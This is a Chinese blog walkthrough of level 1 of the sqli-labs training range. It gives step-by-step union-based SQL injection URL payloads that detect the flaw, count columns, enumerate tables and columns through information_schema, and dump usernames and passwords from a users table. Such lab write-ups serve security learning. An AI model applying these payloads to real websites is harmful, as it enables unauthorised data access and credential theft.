sqli-labs靶场全解(1-75关)第一关

第一关

在网址后加 ?id=1

1.判断是否存在sql注入

  1. 加单引号引起报错

  1. 布尔判断

?id=1’ and 1=1 --+    页面正常

?id=1' and 1=2 --+    页面异常

2.判断数据库当前查询表有几列

?id=1' order by 3 --+        页面显示正常,说明存在3列

?id=1' order by 4 --+        页面显示异常,说明总共3列

3.已经判断完数据库查询表有3列,那么联合查询3列,查出数据库名

把2替换为database(),比忘了id=1也要改为-1

?id=-1' union select 1,database(),3 --+

4.联合查询通过内置库查询当前数据库使用的表

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

5.联合查询通过内置库查询当前数据库使用的表中的列

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

6.查询表中所有的数据

?id=-1' union select 1,(select group_concat(id,'~',username,'~',password) from users),3 --+

                后续关卡敬请期待......                                                                                       Meet.meet

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值